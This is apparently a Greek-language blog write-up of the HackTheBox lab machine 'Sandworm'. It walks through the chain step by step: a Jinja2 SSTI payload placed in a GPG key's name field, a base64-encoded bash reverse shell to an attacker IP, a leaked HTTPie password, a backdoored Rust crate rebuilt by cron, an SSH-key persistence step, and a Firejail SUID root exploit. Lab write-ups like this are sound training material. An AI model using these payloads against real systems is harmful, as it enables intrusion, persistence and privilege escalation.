Πίσω στο blog
← Πίσω στα posts

English  ·  Ελληνικά

HTB: Sandworm

HackTheBoxMy HTB profile & more boxes ↗ GitHubOpen-source security & automation tools ↗

Το Sandworm αλυσιδώνει πολλαπλές τεχνικές για να φτάσει σε root: Server-Side Template Injection μέσα από το πεδίο ονόματος ενός κλειδιού GPG (Jinja2), πλευρική κίνηση μέσω hardcoded credentials που βρέθηκαν σε ένα αρχείο session της HTTPie, privilege escalation μέσω ενός εγγράψιμου Rust crate που ξαναμεταγλωττίζεται από ένα cron job, και τέλος ένα Firejail SUID exploit για root.
Foothold (SSTI/GPG) → atlas → silentobserver → atlas (SSH) → root

Αναγνώριση

Nmap

Πλήρες σάρωμα port ακολουθούμενο από enumeration υπηρεσιών:

nmap
SP1R4@kali)-[~] └$ nmap -sC -sV -p- --min-rate 5000 -oN sandworm.nmap <TARGET_IP> PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: Did not follow redirect to https://ssa.htb/ 443/tcp open ssl/http nginx 1.18.0 (Ubuntu) | ssl-cert: Subject: commonName=SSA/organizationName=Secret Spy Agency | emailAddress=atlas@ssa.htb
PortΥπηρεσίαΣημειώσεις
22SSHOpenSSH 8.9p1 Ubuntu
80HTTPnginx — redirect σε HTTPS
443HTTPSnginx — ssa.htb
/etc/hosts
SP1R4@kali)-[~] └$ echo "<TARGET_IP> ssa.htb" | sudo tee -a /etc/hosts

Web Enumeration

Η επίσκεψη στο https://ssa.htb φορτώνει έναν ιστότοπο Secret Spy Agency. Τίποτα εκμεταλλεύσιμο στην επιφάνεια. Τρέχουμε directory enumeration:

gobuster
SP1R4@kali)-[~] └$ gobuster dir -u https://ssa.htb/ -w /usr/share/dirb/wordlists/common.txt -k /about (Status: 200) /admin (Status: 302) [--> /login?next=%2Fadmin] /contact (Status: 200) /guide (Status: 200) <-- ενδιαφέρον /login (Status: 200) /pgp (Status: 200) /process (Status: 405)
Το /guide εκθέτει μια φόρμα επαλήθευσης υπογραφής PGP με δύο πεδία: Public Key και Signed Text. Το πεδίο Real Name του κλειδιού αντανακλάται στο αποτέλεσμα επαλήθευσης — μια κλασική επιφάνεια injection.

Εκμετάλλευση — SSTI μέσω GPG

Επιβεβαίωση του σημείου injection

Δημιουργούμε ένα κλειδί GPG χρησιμοποιώντας μια αριθμητική έκφραση Jinja2 ως πεδίο Real Name. Αν το template engine την κάνει evaluate, έχουμε SSTI.

gpg — δοκιμαστικό κλειδί με payload SSTI
SP1R4@kali)-[~] └$ gpg --gen-key Real name: {{7*7}} Email address: test@test.com pub rsa3072 2023-07-03 [SC] 88E980212F2E97F5121B32FED8045E508EF2F016 uid {{7*7}} <test@test.com> # Export και υπογραφή ενός δοκιμαστικού μηνύματος SP1R4@kali)-[~] └$ gpg --armor --export test@test.com > public_key.asc SP1R4@kali)-[~] └$ echo "Test" > message.txt && gpg --clear-sign --output signed.asc message.txt
Guide form with public key and signed text filled in Public key block

Υποβάλλουμε και τα δύο στη φόρμα επαλήθευσης /guide. Το αποτέλεσμα δείχνει 49 ως ταυτότητα υπογράφοντα — SSTI Jinja2 επιβεβαιωμένο.

Signature verification result showing 49
GOODSIG — Good signature from "49" [unknown] — το {{7*7}} έγινε evaluate server-side.

Remote code execution

Διαγράφουμε το δοκιμαστικό κλειδί, το ξαναδημιουργούμε με ένα payload RCE στο πεδίο name:

gpg — payload RCE
SP1R4@kali)-[~] └$ gpg --delete-secret-keys test@test.com && gpg --delete-keys test@test.com # Νέο κλειδί — το πεδίο name είναι το payload μας SP1R4@kali)-[~] └$ gpg --gen-key Real name: {{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }} Signature verification showing atlas uid # Αποτέλεσμα επαλήθευσης: uid=1000(atlas) gid=1000(atlas) groups=1000(atlas)

Reverse shell — παράκαμψη με base64

Τα απευθείας shell payloads αποτυγχάνουν γιατί το GPG απορρίπτει τα < και > στο πεδίο name. Κάνουμε base64-encode το payload για παράκαμψη:

reverse shell μέσω base64
# Encode της εντολής shell SP1R4@kali)-[~] └$ echo "bash -c 'bash -i >& /dev/tcp/<YOUR_IP>/4444 0>&1'" | base64 YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xOS80NDQ0IDA+JjEnCg== cat signed_message.asc # Πεδίο name κλειδιού GPG: {{ self.__init__.__globals__.__builtins__.__import__('os').popen('echo "YmFzaCAt..." | base64 -d | bash').read() }} # Listener SP1R4@kali)-[~] └$ nc -lvnp 4444 Ncat: Listening on 0.0.0.0:4444 ... connect to [10.10.14.19] from (UNKNOWN) [10.10.11.218] 52546 bash: no job control in this shell SP1R4@kali)-[~] └$
Αποκτήθηκε shell ως atlas.

Πλευρική κίνηση — atlas → silentobserver

Ανακάλυψη credentials

Ψάχνοντας μέσα στον home φάκελο του atlas, βρίσκουμε ότι ο φάκελος .config περιέχει ένα αρχείο session της HTTPie με αποθηκευμένα credentials:

atlas — κυνήγι για creds
SP1R4@kali)-[~] Atlas home directory listing └$ cat ~/.config/httpie/sessions/localhost_5000/admin.json { "auth": { "password": "quietLiketheWind22", "type": null, "username": "silentobserver" } }

SSH ως silentobserver

ssh — silentobserver
SP1R4@kali)-[~] └$ ssh silentobserver@ssa.htb silentobserver@ssa.htb's password: quietLiketheWind22 Welcome to Ubuntu 22.04.2 LTS SP1R4@kali)-[~] └$ cat user.txt 3c97f86************************
🚩 User flag αποκτήθηκε.

PrivEsc — silentobserver → atlas (σταθερό shell)

Enumeration διεργασιών με pspy

Τρέχοντας το pspy64, αποκαλύπτουμε ένα επαναλαμβανόμενο cron job που μεταγλωττίζει και εκτελεί το /opt/tipnet — ένα Rust binary.

pspy64
SP1R4@kali)-[~] └$ ./pspy64 CMD: UID=1000 | cargo run --release -- /opt/tipnet/src/main.rs CMD: UID=1000 | /opt/tipnet/target/release/tipnet
/opt/tipnet directory listing

Εγγράψιμο Rust crate

Το tipnet.d δείχνει ότι το binary κάνει import ένα τοπικό crate logger. Ελέγχουμε τα δικαιώματά του:

εντοπισμός του εγγράψιμου crate
SP1R4@kali)-[~/opt/tipnet/target/debug] └$ cat tipnet.d /opt/crates/logger/src/lib.rs /opt/tipnet/src/main.rs tipnet debug folder SP1R4@kali)-[~] └$ ls -l /opt/crates/logger/src/lib.rs -rw-rw-r-- 1 atlas silentobserver 732 May 4 17:12 lib.rs

Ο silentobserver έχει δικαίωμα εγγραφής. Εισάγουμε ένα reverse shell μέσα στο lib.rs:

lib.rs — κακόβουλο payload Rust
// /opt/crates/logger/src/lib.rs use std::process::Command; pub fn log(user: &str, query: &str, justification: &str) { let output = Command::new("bash") .arg("-c") .arg("bash -i >& /dev/tcp/<YOUR_IP>/4444 0>&1") .output() .expect("failed to execute process"); }

Περιμένουμε το cron job να ξαναμεταγλωττίσει το tipnet. Το shell γυρνάει πίσω:

Second atlas reverse shell via tipnet

Φυτεύουμε ένα κλειδί SSH για persistence:

atlas — persistence με SSH
SP1R4@kali)-[~] └$ echo "<YOUR_PUBLIC_KEY>" >> ~/.ssh/authorized_keys SP1R4@kali)-[~] └$ ssh -i id_rsa atlas@ssa.htb SP1R4@kali)-[~] └$
Stable SSH session as atlas

Privilege Escalation — Root μέσω Firejail

Ανακάλυψη

Τρέχοντας το linpeas.sh, εντοπίζουμε ένα μη τυπικό SUID binary:

linpeas — SUID
SP1R4@kali)-[~] └$ ./linpeas.sh | grep -i firejail -rwsr-x--- 1 root jailer 1777952 Nov 29 2022 /usr/local/bin/firejail

Το firejail έχει το SUID bit ενεργοποιημένο και είναι εκμεταλλεύσιμο μέσω ενός γνωστού local privilege escalation. Μεταφέρουμε το exploit και το τρέχουμε — απαιτεί προσέγγιση με δύο terminal:

firejail exploit — δύο terminal
# Terminal 1 — τρέχουμε το exploit SP1R4@kali)-[~] └$ chmod +x exploit.py && python3 exploit.py You can now run 'firejail --join=24654' in another terminal where 'su -' should grant you a root shell. # Terminal 2 — join στο session του firejail SP1R4@kali)-[~] └$ firejail --join=24654 changing root to /proc/24654/root Child process initialized in 9.92 ms SP1R4@kali)-[~] └$ su - root@sandworm:~# cat /root/root.txt d5be56ad************************
exploit.py output with session number Root shell and root flag
🚩 Root flag αποκτήθηκε. Το machine pwned.

Σύνοψη

ΣτάδιοΤεχνικήΕργαλείο
FootholdSSTI μέσω πεδίου name του GPG (Jinja2)gpg
ShellReverse shell κωδικοποιημένο σε base64bash, nc
Πλευρική κίνησηHardcoded creds σε session HTTPiessh
Αναβάθμιση shellΚακόβουλο Rust crate εισηγμένο μέσω cronnano
RootFirejail SUID local privilege escalationpython3

Βασικές εντολές

γρήγορη αναφορά
# Ροή εργασίας κλειδιού GPG gpg --gen-key # Real name: <SSTI_PAYLOAD> gpg --armor --export <email> > pub.asc gpg --clear-sign --output signed.asc msg.txt gpg --delete-secret-keys <email> gpg --delete-keys <email> # Firejail privesc python3 exploit.py # σημειώστε τον αριθμό session firejail --join=<number> su -
HackTheBoxMy HTB profile & more boxes ↗ GitHubOpen-source security & automation tools ↗